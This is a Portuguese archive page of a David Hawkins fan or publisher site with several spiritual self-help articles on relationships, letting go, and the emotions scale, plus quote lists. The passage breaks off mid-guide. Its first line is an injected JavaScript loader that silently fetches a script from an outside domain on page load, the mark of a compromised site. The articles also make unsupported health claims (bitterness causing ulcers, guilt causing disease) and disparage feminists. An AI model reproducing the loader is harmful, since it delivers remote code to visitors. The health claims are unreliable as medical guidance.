;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de inteligência emocional - David Hawkins Brasil

Tag: inteligência emocional

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O “gostinho” em colocar os homens como vilões 

Sofrimento

Algumas mulheres não conseguem ter sucesso em relacionamento e não sabem o porquê. É por causa do “gostinho” em colocar os homens como vilões. Recentemente, publicamos artigos sobre o “gostinho do ego” em estar em posição de vítima e o quanto a gente gosta de receber a simpatia das pessoas em mostrar como temos razão quanto as “injustiças” que recebemos da vida.

Injustiças são ilusões. São coisas que as pessoas acreditam por não compreender que em tudo na vida podemos ter um aprendizado, que nos torna pessoas melhores. No Dia dos Pais publicamos um artigo no qual o dr. Hawkins fala que a sociedade moderna pensa que faltam heróis por buscar atos grandiosos e não enxergam a beleza dos atos do dia a dia que os homens fazem para nós.

A base da psique masculina é a admiração. Como pode uma mulher feminista, que se acha melhor que os homens, encontrar um bom partido para se casar? Não vai! E não é porque o mundo é injusto ou os homens deixaram de fazer atos heróicos. É porque ela ainda não enxerga a beleza no masculino e não compreendeu como eles funcionam. Prefere ficar com a simpatia daqueles que fingem que concordam enquanto ela discursa que os homens não prestam do que ter a parceria de um Amor para a vida toda. 

O que acontece com a mulher que se conecta com as feministas

“É como se, quando estamos próximos das auras de pessoas com certas capacidades, uma certa transferência de capacidade pode ocorrer. Simplificando, somos influenciados positivamente ou negativamente pela companhia que mantemos ao nosso lado. É pouco provável que superemos uma inibição se optarmos por estar na companhia de outras pessoas que tenham o mesmo problema.

Este fenômeno ficou evidente no caso de uma mulher divorciada que veio se consultar. Ela queria saber se deveria ou não fazer psicoterapia. Suas queixas eram úlcera recorrente e enxaqueca. À medida que a história se desenrolava, surgiu uma grande amargura por causa de um divórcio lamentavelmente traumático. Ela se juntou a um grupo feminista de conscientização, disse ela. Ela descreveu esse grupo específico como quase inteiramente composto por mulheres divorciadas que eram amargas, raivosas e odiavam os homens. Como grupo, elas estavam recebendo muita recompensa por sua negatividade. Na realidade, as suas vidas eram desamparadas e bastante patéticas, enquanto lutavam para recuperar a autoestima através de extremos e desequilíbrio emocional acentuado.

Depois de ouvir sua história e investigar as circunstâncias da sua vida, foi sugerido que, em vez de psicoterapia, ela seguisse uma recomendação simples por um período de três meses. Se não funcionasse, ela poderia reavaliar a necessidade de psicoterapia. A recomendação era meramente interromper a sua associação com o grupo e com as suas amigas amarguradas e divorciadas e, em vez disso, procurar a companhia de pessoas que tinham restabelecido o relacionar com sucesso, apesar dos divórcios anteriores.

O final feliz

No começo, ela resistiu e alegou que não tinha nada em comum com as integrantes do grupo. Então, ela reconheceu dois fatos básicos. Primeiro, ela ia gastar muito menos energia ao desenvolver relações com pessoas positivas. Em segundo lugar, uma das leis da consciência é que “semelhante atrai semelhante”; a amargura atrai a amargura, enquanto o amor atrai o amor. Ela se perguntou: “Para onde minha amargura me levou? Consegui algo positivo e útil com isso?” Com o passar do tempo, ela parou de passar tempo com seu grupo e começou a buscar relacionamentos com pessoas mais saudáveis e equilibradas.

Na companhia de pessoas mais felizes, ela tinha uma consciência alegre de quanta negatividade ela guardava dentro de si. Ela começou a perceber que estava retendo conscientemente a negatividade e optando por mantê-la, e começou a observar o custo dessa negatividade. Toda a sua vida social mudou. Ela ficou sorridente e mais feliz. Suas enxaquecas desapareceram. Eventualmente, ela se apaixonou novamente e brincou que se apaixonar era a melhor cura que ela já havia descoberto para uma úlcera!

Se nos encontrarmos num estado de apatia, podemos descobrir a crença intrínseca nos perguntando o que estamos tentando provar com isso. Estamos tentando provar que a vida está péssima? Que: este é um mundo sem esperança? não foi nossa culpa? É impossível encontrar o amor? A felicidade é impossível? O que estamos tentando justificar? Quanto estamos dispostos a pagar para estar “certos”? À medida que reconhecemos e abandonamos os sentimentos que surgem em resposta a estas perguntas, as respostas começam a aparecer.” – Dr. David Hawkins, “Deixar ir”

Como colocar isso em prática?

Quando a mulher está solteira, muitas acreditam que o melhor é sair com as amigas solteiras para conhecer homens. Mas pelo que acabamos de ler no caso acima já podemos intuir que esse não é o melhor caminho.

Quando você quer emagrecer, é melhor se conectar com os amigos que preferem os jantares gastronômicos ou com aqueles que te chamam para praticar exercícios? Quando você quer empreender, vai pedir conselho pro amigo que teve sucesso ao montar sua empresa ou para aquele que está preso num emprego esperando uma promoção há anos?  

Precisamos aprender com aquilo que é Sucesso, o dr. Hawkins nos ensina muito sobre isso no livro “O Sucesso é para Você”. Ao invés de ressentir o sucesso, o caminho é aprender com quem chegou lá. Da mesma forma, as mulheres solteiras que querem o caminho do matrimônio devem se conectar com as mulheres casadas, conviver com elas, ver o modo de pensar e agir e assimilar isso na sua vida. 

É legal também conviver com casais harmoniosos, mesmo que isso seja dolorido para essa mulher que sonha com isso, mas isso ainda não aconteceu na sua vida. Essa é uma forma concreta de parar de ressentir homens por experiência passadas ruins ou pelo relacionamento com o pai: parar de ressentir casais felizes. É assim que lidamos com toda essa emoção de ressentimento para chegar em um estado de amor.

Não tenha pressa

Pessoas amorosas atraem pessoas amorosas. Apenas abra espaço para o Amor dentro de si: se torna essa amorosa que você gostaria que estivesse em sua vida. É melhor demorar para conhecer nosso cônjuge, mas nesse momento sermos maduros do que ter presa e querer atrair alguém em um estado de imaturidade porque ainda não estamos maduros.

Relacionamentos entre duas pessoas imaturas trazem muito sofrimento, mais do que se essas pessoas estivessem sozinhas. Por isso, muitas vezes quando queremos estar em um relacionamento e não estamos, isso é uma proteção Divina. 

Gloria in Excelsis Deo!

Não perca nada!

Fizemos uma série que já conta com 2 artigos anteriores sobre o “gostinho” do ego em sofrer:

Aproveite essa sequência de artigos para se aprofundar nesse tema que quando observado, muda vidas.

Leia direto da fonte

No livro “Poder vs. Força”, o dr. David Hawkins nos ensinou sobre como sair dos campos energéticos que escolhem servir ao ego e nos dedicar aos campos de consciência que servem a Deus. Enquanto que no livro “Deixar Ir” ele resume de maneira muito clara o trabalho, de toda sua carreira, em como deixar ir toda a negatividade que nos bloqueia de um estado de Paz Interior (de se tornar um com Deus). 

Além disso, no livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito. Assim, podemos praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. 

No livro “Sucesso é Para Você” ele revela como sair de uma mentalidade de escassez para uma de abundância, na qual escolhemos utilizar e aperfeiçoar nossos talentos em prol de servir a Deus. 

Ainda que esses são apenas os livros que já estão traduzidos para o português, há muito mais por vim!

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e a Pandora Treinamentos absorveu essa intenção, justamente pela sua inspiração e pelo compromisso em traduzir seus livros para português, visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor.

Estão todos convidados para mergulhar nesse conteúdo conosco.

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Relacionamentos: um guia prático e amoroso das interações sociais (Parte 2)

Esse artigo é o segundo de uma série de dois artigos sobre Relacionamentos, baseados no “Capítulo 18: Relacionamentos” do livro “Deixar Ir, o Caminho do Desapego”. Logo, se você ainda leu a primeira parte, clique aqui.

A condição humana 

Somos humanos, e como tal, todos nós sentiremos emoções negativas, não é exclusividade de um ou outro. Aceitar a nossa humanidade, ao invés de nos culparmos e nos massacrarmos, é um passo essencial para começarmos essa mudança. É uma atitude não julgadora. Assim, vamos reconhecer que não somos esses sentimentos negativos, eles apenas fazem parte de ser humanos. Esses sentimentos negativos NÃO são o nosso “Eu verdadeiro”, que é um ser de Amor infinito.

Vamos começar sendo amorosos com nós mesmos. Basta observar que é só medo que está por trás de tudo isso. E o medo não passa de uma ilusão. O medo é a base de todos esses sentimentos negativos, temos medo de perder nossos relacionamentos, de perder a nossa segurança e de não sobreviver. Isso é normal. Mas, há dois problemas em como lidamos com isso.

O primeiro problema que surge ao lidar com as emoções negativas é a resistência a elas. Paradoxalmente, é justamente a resistência que mantém esses sentimentos dentro de nós. Isso não significa soltar um balde de emoções negativas nas outras pessoas ao nosso redor. Mas significa deixar que essas emoções venham à tona para que possamos rendê-las. Esse é o único propósito válido em manifestarmos essas emoções negativas em nossas vidas: rendê-las. 

O medo não nos protege

O segundo é achar que o medo que nos protege. Não é. Lembre-se: “o medo é uma ilusão”. Todo sentimento negativo é uma ilusão, e literalmente, nos enfraquece. Além de nos aproximar daquilo que mais tememos, porque ficamos mantendo isso em mente. Esses sentimentos negativos também nos afastam daquilo que desejamos, porque as pessoas sentem que temos interesses ocultos ao nos relacionarmos com elas. 

Quando é o Amor que nos move, podemos mover montanhas em nossos relacionamentos, mas quando são sentimentos de ‘picuinha’ só vamos fazer ações de mau grado. Vamos sair de relações ganha-perde, que geram ódio e rancor, para relações ganha-ganha, que trazem a verdadeira felicidade.

Eventualmente, quando rancor surgir pense: “é realmente assim que eu gostaria de passar o dia de hoje? E se hoje for o último dia da minha vida?” Permita-se criar para você uma nova vida sem aquele velho rancor, sem conflito e sem medo.

Sentimentos Positivos

Ao rendermos os sentimentos negativos, naturalmente surgem os positivos. Vem a coragem de fazer aquilo que estávamos com medo, a disposição em fazer aquilo que estávamos com preguiça e por aí vai. Chegamos em um estado de “Eu consigo!”.

Naturalmente, a reação de todos ao nosso redor também muda, seja com uma colega de trabalho, com algum conhecido, amigo ou cônjuge, isso reflete em todas as áreas da nossa vida. As coisas acontecem sem grandes dificuldades. Há um “sentimento de sintonia”, uma compreensão verdadeira e uma alegria.

Conectividade

Ao buscar nossa evolução pessoal e chegar em um estado de paz, serenidade, simplicidade, nos sentimos mais conectados com os outros, há uma sensação mútua de estarmos em comunhão. Os outros podem vivenciar uma consciência aumentada de quem realmente são, só por estarem na presença de alguém assim, que não está mantendo nenhuma negatividade. 

Os frutos são deliciosos, é um compartilhar da paz, da tranquilidade e da alegria, sem rancor e sem rusgas! É um relacionamento sem barreiras, no qual, às vezes, até se sabe, conscientemente, o que o outro está pensando, mesmo sem ter muita intimidade. É um reflexo da aceitação mútua, onde os dois envolvidos aceitam a sua humanidade e a do outro.

Efeito dos Sentimentos Positivos

Há uma lei da consciência que é implacável: semelhante atrai semelhante. Nossos sentimentos são energia, assim sendo, somos como estações de envio e recebimento. Quanto mais amorosos nos tornamos, mais Amor se torna disponível para nós. As nossas relações vão se transformando e se reciclando e quando menos esperarmos, estaremos cercados de Amor. Esse subsistir do sentimento negativo por um maior é um verdadeiro milagre na vida de qualquer individuo. As coisas são muito mais conectadas do que podemos observar com a nossa mente linear, Carl Jung tentou nos explicar isso através do fenômeno chamado “sincronicidade”.

Deixando Ir as Expectativas

Todos nós escutamos que você “colhe o que planta”, mas isso se torna distante porque muitas vezes há uma demora entre um acontecimento e outro. No entanto, quando a gente usa a técnica do Deixar Ir é possível observar isso, muitas vezes em tempo real. Vamos citar alguns exemplos adiante, mas antes vamos treinar nossa observação.

Os frutos que colhemos são sempre reflexo das nossas intenções. Observe que sempre que tentamos forçar o outro a mudar, ele resiste. Quanto mais forçamos, mais resistência. Não se iluda se a pessoa ceder e mudar por um ato de força que foi feito. Quando não há aceitação interna, não é possível ter um resultado duradouro. 

A chave é reconhecer que não é o desejo que nos leva onde queremos e nem a raiva nem o medo que vão nos proteger. Ao contrário do que imaginamos, as expectativas bloqueiam o resultado que desejamos. 

Aqui, o exercício é o oposto da parte 1 desse artigo, é refletir sobre o melhor cenário possível. A partir daí, também render o medo de não acontecer e a expectativa de que aconteça. A frustração surge de querer que aconteça AGORA. Mas quando as expectativas são rendidas não há mais uma pressão de “quando será que vai acontecer?”. Isso reflete em paciência e observe que as pessoas pacientes normalmente conseguem o que querem. 

Conclusão

Conforme rendemos os sentimentos negativos, inesperadamente chegamos exatamente no resultado que a gente queria. Nesse capítulo sobre relacionamentos, o dr. Hawkins relata o caso de um processo judicial trabalhista que foi cancelado ao empregador render a raiva do funcionário (com uma diferença de 2 minuto no relógio!), o caso de um casal se divorciando que estava brigando por um objeto e após o homem render seu desejo a mulher ligou e ofereceu o objeto (além de oferecer embalar e enviar) e o caso de um amigo que emprestou 200 dólares ao outro e só recebeu o dinheiro de volta depois de deixar ir o ressentimento que estava guardando sobre isso (o amigo não tocou no assunto durante um ano). Quando algo não flui, e olhamos nossos sentimentos e pensamentos sobre isso, a reação do outro é óbvia. Era só um reflexo do que a gente estava sentindo. 

“Se ainda mantiver a fantasia de que a outra pessoa não sabe dos seus pensamentos e sentimentos apenas saiba que os cães rapidamente percebem! Realmente achamos que a psique humana é inferior à de um cachorro? Se um cão rapidamente lê a nossa atitude interna completamente, podemos ter certeza de que a intuição das pessoas ao nosso redor está pegando a mesma vibração.”

O render dos sentimentos não é um ato de manipulação para se conseguir o que quer, é, na verdade, um ato de Amor a si mesmo e ao outro. Observe que o importante é o desapego com o resultado, se não acontecer nada, como muitas vezes não acontece, está tudo bem. A pessoa já não fica chateada em não ter aquele resultado e é justamente por isso que flui. A pessoa sai de um desejo egoísta para aceitar a Vontade de Deus, aquilo que é o melhor para o contexto.

Todos sabem o que está na sua mente

De agora em diante, imagine que todos sabem exatamente o que está se passando na sua mente enquanto você lida com eles. Vai ser desafiador, mas certamente divertido, quase como um filme de comédia. Além de trazer uma enorme oportunidade de purificar seus sentimentos e, consequente, aumentar usa energia e felicidade. Mas isso só é possível se você não reprimir seus sentimentos, nem tentar controlar seus pensamentos. Respeite a si mesmo! E assim, você aprende a respeitar aos outros.

Não reprima sentimentos negativos fazendo aquilo ressoar em você mesmo e sugar sua energia. Se permita observar a si mesmo e deixar ir aquilo que não serve ao Amor. 

Vamos juntos nessa jornada!

Não perca nada! Essa é só a segunda parte do artigo

Para ler a primeira parte desse artigo sobre Relacionamentos, clique aqui.

Leia sobre relacionamentos direto da fonte: “Deixar Ir”

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Deixar Ir”. 

Acesse o site da Editora Pandora e adquira o seu exemplar do best-seller Deixar Ir.

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16 frases inspiradoras do livro Poder vs Força, de Dr. David Hawkins

No best-seller Poder vs Força – Os Determinantes Ocultos do Comportamento Humano, o Dr. David Hawkins, M.D., Ph.D., traz frutos de décadas de pesquisas que unem a ciência e a espiritualidade, o ser humano e o universo, o intelecto e a alma.

Essa foi a obra que introduziu o trabalho do Dr. David Hawkins ao mundo através de revelações que quebraram paradigmas sobre a consciência e o comportamento. Foi no livro Poder vs Força que Hawkins nos apresentou o Mapa da Consciência, hoje também conhecido como Escala das Emoções ou Escala Hawkins.

Entendendo o conceito geral de Poder vs Força

Antes de ter contato com as frases, pode ser interessante para o leitor se familiarizar com os termos “Poder” e “Força” dentro do contexto do livro do Dr. David Hawkins.

Hawkins caracteriza como “Poder” tudo aquilo que é “pró-vida”, que serve ao Bem Maior e que contribui para a evolução espiritual. Entre os campos energéticos do Poder estão a Coragem, a Disposição, a Aceitação, a Razão, o Amor e a Paz.

Já a “força” representa as energias “anti-vida”. Usar a força significa tentar forçar a barra, gerando uma contra-força que resulta em disputa e divisão. Entre os campos energéticos de força estão o Orgulho, a Raiva, o Desejo, o Medo, a Tristeza, a Apatia, a Culpa e a Vergonha.

Conhecendo estes conceitos, agora sim você está pronto(a) para desfrutar as melhores frases do livro Poder vs Força. Aproveite e não deixe de ler a obra completa!

As melhores frases do livro Poder vs Força, do Dr. David Hawkins

1. “Nós mudamos o mundo não através do que falamos ou fazemos, mas como consequência daquilo que nos tornamos.” – Dr. David Hawkins, Poder vs Força

2. “Neste universo interconectado, cada melhoria que fazemos no nosso mundo privado melhora o mundo como um todo.” – Dr. David Hawkins, Poder vs Força

3. “A única maneira de alguém aumentar seu poder no mundo é aumentando sua integridade, compreensão e capacidade de compaixão.” – Dr. David Hawkins, Poder vs Força

4. “O poder serve aos outros, enquanto a força serve a si mesma.” – Dr. David Hawkins, Poder vs Força

5. “O universo não desperdiça um único quark, tudo serve a um propósito e se encaixa num equilíbrio – não há eventos aleatórios.” – Dr. David Hawkins, Poder vs Força

6. “A força pode trazer satisfação, mas só o poder traz alegria. A vitória sobre os outros nos traz satisfação, mas a vitória sobre nós mesmos nos traz alegria.” – Dr. David Hawkins, Poder vs Força

7. “Os fatos são acumulados pelo esforço, mas a verdade se revela sem esforço.” – Dr. David Hawkins, Poder vs Força

8. “Todos nós temos disponível em todos os momentos um computador muito mais avançado do que a mais elaborada máquina de inteligência artificial – a própria mente humana.” – Dr. David Hawkins, Poder vs Força

9. “Os sistemas totalitários são notavelmente desprovidos de humor em todos os níveis. O riso, que traz aceitação e liberdade, é uma ameaça ao seu governo por meio da força e da intimidação. É difícil oprimir quem tem bom senso de humor. Cuidado com a falta de humor, seja em uma pessoa, instituição ou sistema de crenças; ela vem sempre acompanhada por um impulso de controlar e dominar, mesmo que seu objetivo proclamado seja criar prosperidade ou paz.” – Dr. David Hawkins, Poder vs Força

10. “A igualdade não exclui a diversidade. A aceitação inclui em vez de rejeitar.” – Dr. David Hawkins, Poder vs Força

11. “O homem pensa que vive em virtude das forças que pode controlar, mas, na verdade, ele é governado pelo poder de fontes não reveladas, poder sobre o qual não tem controle. Como o poder não requer esforço, ele passa despercebido e insuspeito. A força é experimentada através dos sentidos; o poder só pode ser reconhecido através da consciência interior.” – Dr. David Hawkins, Poder vs Força

12. “A busca pela excelência em qualquer área da vida humana inspira a todos nós para buscarmos todas as formas da grandeza ainda não realizadas pelo homem.” – Dr. David Hawkins, Poder vs Força

13. “Uma pessoa não se torna mais espiritualizada comendo certos alimentos ou evitando outros. A pessoa se torna um ser que expressa espiritualidade quando vive neste mundo, o aceita e não o julga.” – Dr. David Hawkins, Poder vs Força

14. “A razão é o espelho da vaidade da mente; em última análise, há poucas coisas mais chatas de se observar do que a auto-admiração. A racionalidade, o grande libertador que nos tornou livres das exigências de nossas naturezas inferiores, é também um severo guardião, impedindo nossa evolução para os planos acima e além do intelecto.” – Dr. David Hawkins, Poder vs Força

15. “As respostas verdadeiras são sempre caracterizadas pela simplicidade.” – Dr. David Hawkins, Poder vs Força

16. “A verdade do nosso próprio ser real pode ser descoberta no caminho da vida cotidiana. O comum e Deus não são coisas diferentes.” – Dr. David Hawkins, Poder vs Força

Leia as frases do livro “Poder vs Força” direto da fonte

É impossível ser a mesma pessoa depois de terminar a leitura de Poder vs Força. 

Além de nos presentear com uma visão reveladora do comportamento humano, nesta obra David R. Hawkins detalha como qualquer pessoa pode resolver o maior dilema da humanidade: distinguir instantaneamente a verdade da falsidade.

Uma leitura imperdível e praticamente obrigatória para todos aqueles que estão verdadeiramente comprometidos com o avanço espiritual e a expansão da consciência.

Acesse o site da Editora Pandora e adquira o seu exemplar do best-seller Poder vs Força.

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As 35 melhores frases do livro Deixar Ir – O Caminho do Desapego

Relaciomamentos

No best-seller Deixar Ir – O Caminho do Desapego, o psiquiatra e pesquisador da consciência Dr. David R. Hawkins, M.D., Ph.D., nos presenteia com um técnica simples e efetiva para lidarmos com os obstáculos da vida humana e nos aproximarmos da Iluminação.

Essa pode ser considerada a obra “de entrada” de Hawkins, ou seja, o livro mais recomendado para quem deseja ter o primeiro contato com seu trabalho.

Porém, isso não significa que “Deixar Ir” seja um livro raso. Muito pelo contrário. A profundidade da obra é grande e fica evidente através de diversas frases marcantes, que se tornam verdadeiros guias para os leitores.

A seguir, confira a seleção das melhores frases do livro Deixar Ir, de Dr. David Hawkins.

As melhores frases do livro Deixar Ir – O Caminho do Desapego, de Dr. David Hawkins

Frases do livro Deixar Ir sobre a mente

1. “Aquilo que mantemos em mente, tende a se manifestar.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

2. “As pessoas mais bem-sucedidas no mundo são aquelas que mantém em mente o Bem Maior que inclui a todos, incluindo a si mesmos.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

3. “Tornou-se evidente que o cérebro não é a origem da mente, como a ciência e a medicina acreditavam, mas ao contrário. A mente controla o cérebro.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

4. “O inconsciente nos traz o que acha que merecemos. Se nossa visão de nós mesmos é pequena, limitada e mesquinha — devido à culpa acumulada —, então o inconsciente trará essas condições econômicas para nossa vida.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre sentimentos

5. “Deixar ir significa que estamos dispostos a abrir mão de um sentimento, permitindo-nos apenas experimentá-lo, e não mudá-lo.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

6. “Nossos sentimentos e pensamentos sempre afetam outras pessoas e afetam nossos relacionamentos, quer sejam esses pensamentos ou sentimentos verbalizados e expressos, ou não.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

7. “Não procure respostas; em vez disso, deixe ir os sentimentos por trás da pergunta.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

8. “Sentimentos vêm e vão, e eventualmente você se dá conta de que você não é seus sentimentos, mas que o real ‘você’ está meramente os testemunhando.”- Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

9. “Pensamos que nossa felicidade depende de controlar os acontecimentos, e que os fatos são o que nos incomodam. Na verdade, nossos sentimentos e pensamentos sobre esses fatos que são a verdadeira causa de estamos chateados.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

10. “Medo da vida é, na verdade, medo das emoções. Não são os fatos que tememos, mas nossos sentimentos sobre eles.”- Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

11. “Para superar a culpa, é necessário olhar para a satisfação secreta e o prazer que obtemos da autopiedade, ressentimento, raiva e auto-desculpas, e começar a renunciar a todas essas pequenas recompensas.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

12. “Nada precisa ser feito para adquirirmos sentimentos positivos, pois eles são parte integrante do nosso estado natural.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego – O Caminho do Desapego

13. “Ter deixado ir significa não ter nenhuma emoção forte a respeito de alguma coisa: ‘Está okay se isso acontecer, e okay se não acontecer’”- Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre mudança interior

14. “O mundo só consegue nos ver como nós mesmos nos vemos.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

15. “O ponto crucial é: mudando a nós mesmos, mudamos o mundo. À medida que nos tornamos mais amorosos por dentro, a cura ocorre por fora. Assim como a elevação do nível do mar eleva todos os navios, o esplendor do amor incondicional dentro de um coração humano eleva toda a vida.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

16. “Todo julgamento é, na verdade, autojulgamento.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

17. “Tudo pode ser tirado de um homem, menos uma coisa: a última das liberdades humanas – escolher a própria atitude em qualquer conjunto de circunstâncias, escolher o próprio caminho.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

18. “Sem uma mudança de consciência, não há redução real do estresse.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

19. “Simplesmente olhe para o que você não gostaria que os outros soubessem sobre você e comece a ‘deixar ir’ isso!” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

20. “Nossas auto-dúvidas bloqueiam o próprio reconhecimento que buscamos.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre as leis da vida

21. “A natureza básica do universo é manifestar o maior bem possível em cada situação.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego – O Caminho do Desapego

22. “Nós conseguimos o que queremos quando paramos de insistir!” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

23. “Ficar na defensiva é um convite para o ataque.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

24. “Quanto maior nosso apego ao que está fora de nós, maior é nosso nível geral de medo e vulnerabilidade à perda.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

25. “Uma das leis da consciência é: só estamos sujeitos a um pensamento ou crença negativa se dissermos conscientemente que isso se aplica a nós. Somos livres para escolher não aderir a um sistema de crença negativo.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

26. “O único poder que qualquer coisa tem sobre nós é o poder da crença que lhe damos.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

27. “Quando pressionamos outras pessoas para conseguir o que queremos, elas automaticamente resistem, porque estamos tentando pressioná-las. Quanto mais forçamos, mais elas resistem.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

28. “É como se o campo de energia do gênio criativo estivesse disponível e esperando por nós assim que deixarmos ir as nuvens de negatividade que impedem sua revelação.” –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

29. “Se deixarmos ir a culpa, veremos a inocência; no entanto, uma pessoa dominada pela culpa verá apenas o mal. A regra básica é que nos concentramos no que reprimimos.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre perdão e cura

30. “O perdão é um aspecto do amor que nos permite ver os acontecimentos da vida do ponto de vista da Graça.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

31. “Quando curamos algo em nós mesmos, é uma cura para o mundo.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

32. “Com o perdão, eventos e pessoas são recontextualizados como simplesmente ‘limitados’ – não ‘ruins’ ou ‘não amáveis’”. –  Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

33. “O medo do futuro não existe mais quando o passado foi curado.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Frases do livro Deixar Ir sobre o Amor

34. “Quanto mais amamos, mais podemos amar. O amor não tem limites. Amor gera amor.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

35. “Quando paramos de querer ser amados, descobrimos que somos.” – Dr. David Hawkins, Deixar Ir – O Caminho do Desapego

Leia as frases do livro “Deixar Ir” direto da fonte

Uma das melhores maneiras de absorver toda a profundidade do trabalho de Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá entender o contexto de cada frase e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No Brasil, a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Deixar Ir”. 

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Níveis de Consciência

Guia de Inteligência Emocional: Como Identificar Suas Emoções

Inteligência Emocional

Um dos pontos importantes para a inteligência emocional é observar suas emoções ou sentimentos e ficar consciente deles. Esse é o ponto central da técnica descrita no best-seller Deixar Ir, de Dr. David Hawkins.

Embora — segundo o próprio David Hawkins — não seja necessário nomear as emoções, pode ser útil compreender o nível energético e as características de cada uma delas. Assim fica fácil identificar, por exemplo, se você está em um estado emocional propício para agir e tomar decisões ou se é melhor aguardar um outro momento.

Neste conteúdo você terá acesso a um guia para identificar suas emoções e assim desenvolver sua inteligência emocional. Confira.

Guia de Inteligência Emocional: Emoções Negativas

Ao lado do nome de cada emoção, você verá o nível vibracional do campo energético dessa emoção conforme a Escala Hawkins de Consciência, que vai de 1 (nível mais baixo) até 1.000 (nível mais alto).

Isso ajudará você a identificar o quão negativa ou positiva é a emoção que você está experienciando. Com isso, você terá ainda mais consciência para reconhecer as emoções negativas rapidamente e escolher as positivas, ampliando sua inteligência emocional.

Vergonha (20)

Sabe aquele sentimento de humilhação, quando nos sentimos pior do que tudo e todos? Esse é o nível de consciência da vergonha, que tem uma vibração extremamente baixa.

Aqui não estamos falando apenas de se sentir encabulado. Vai muito além. É como se a pessoa sentisse vergonha de ser quem ela é.

Quando realmente mergulhamos na emoção da vergonha, passamos a achar que o mundo é miserável. Nessas horas, qualquer outra emoção que pudermos nos conectar já será válida. Mesmo outras energias negativas serão “menos negativas” e poderão auxiliar a sair desse estado emocional.

Culpa (30)

O campo emocional da culpa leva o indivíduo a desejar dois movimentos:

  • punir os outros, por achar que eles são culpados;
  • e ser punido, justamente para aliviar a culpa que sente. 

Por conta disso, é um campo extremamente perigoso. Leva a autorrejeição, masoquismo, remorso, mal-estar e autossabotagem. Propensão a acidentes, comportamento suicida e projeção de auto-ódio sobre os “maus” são comuns. 

A emoção da culpa, quando reprimida, torna-se a base de muitas doenças psicossomáticas. O problema é que esse sentimento está tão inserido no nosso dia a dia que acaba passando despercebido.

Para identificar esse estado, uma dica é observar o próprio uso da palavra “culpa”, como: “É tudo culpa minha” ou “Bem-feito, é culpa dele”.

Apatia (50)

A emoção da apatia vai além da preguiça e é caracterizada pelo desespero, ou seja, a falta de esperança em relação à vida ou algum tema específico. Por exemplo, quando você se depara com um assunto incômodo e pensa “isso não tem jeito”, “não tem nada que possa ser feito” ou “eu não consigo”.

Em muitos casos, as áreas ou assuntos da nossa vida que estão estagnados há muito tempo são áreas nas quais estamos tomados pela emoção ou energia da apatia.

Tristeza (75)

Talvez essa seja uma das emoções mais fáceis de identificar, não é? Porém, ainda assim a tristeza pode surgir discretamente e passar despercebida.

É interessante notar que a emoção da tristeza está relacionada à ausência de aceitação. Quando vivenciamos esse sentimento, é comum falarmos coisas como “se pelo menos eu tivesse…”, ou então “se eu NÃO tivesse feito aquilo”. É uma sensação de estar preso e não conseguir seguir em frente.

Em muitos casos, a tristeza também pode estar associada a algum tipo de luto. A pessoa se prende ao passado, às memórias, e praticamente deseja “voltar no tempo”. “Ah, se tudo fosse como era antes”. Nesse caso não estamos falando de memórias de gratidão, que lembram de tudo com leveza e amor, mas sim de uma emoção pesada e depressiva.

Medo (100)

